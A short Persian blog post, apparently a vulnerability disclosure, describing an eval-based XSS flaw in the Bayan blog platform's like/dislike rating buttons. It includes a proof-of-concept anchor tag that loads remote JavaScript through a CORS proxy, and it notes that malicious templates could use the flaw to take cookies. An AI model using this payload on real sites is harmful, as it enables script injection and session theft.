آسیب پذیری xss در بلاگ بیان
زمان نوشتن کد فعالکردن دکمهٔ ثبت نظر مخالف برای
افزونهٔ بیان کد جاوا
اسکریپت بخش نظرسنجی موافق و مخالف (لایک و دیسلایک) بیان رو بررسی میکردم
که یه آسیب پذیری xss پیدا کردم.
البته من دانش زیادی در این رابطه ندارم. و نمیدونم دقیقا xss هست یا نه.
بخش نظرسنجی بلاگ اینطور کار میکنه:
دکمهٔ لایک یک تگ a هست با کلاس
rate-button و href اش هم یه آدرس مثل این پایینی
<a href="(*rate_up_link*)" class="rate-button" rel="nofollow" title="موافق">like</a>
وقتی روی دکمهٔ لایک کلیک میکنید مرورگر یه درخواست به آدرس href این دکمه میفرسته.
https://trash.blog.ir/process/rate_post/{post_id}/{0|1|2}
بلاگ هم در جواب همچین چیزی میفرسته
[1, 0]
یه آرایه که تعداد رای های مخالف و موافق رو مشخص میکنه.
و اسکریپت بیان با eval این کد رو اجرا می کنه!!!
و اگه آدرس اون لینک رو تغییر بدیم، کد جاوااسکریپت توی اون آدرس اجرا میشه
کافیه از این کد استفاده بشه و آدرس href هم آدرس اسکریپتمون باشه.
<span class="rate-box rate-button-box">
<a class="rate-button" rel="nofollow" href="https://api.allorigins.win/raw?url=https%3A%2F%2Fbayanbox.ir%2Fdownload%2F1146853218619438244%2Falert.txt">
دکمهٔ خطرناک
</a>
</span>
و بعد از کلیک روی لینک اسکریپت اجرا میشه!
کد رو میشه توی ساختار قالب و محتوای مطلب استفاده کرد.
نیاز به فعال بودن امکات اختیاری هم نیست.
برای جلوگیری از خطای Cross-Origin دو راه وجود داره. یکی استفاده از سایتهایی مثل allorigins.win
و راه دوم گذاشتن کد جاوا اسکریپت توی css قالب
خیلی روش جالبی میتونه باشه برای حمله از طریق قالبهای مخرب در سطح بیان و میشه از کوکیها استفاده کرد ...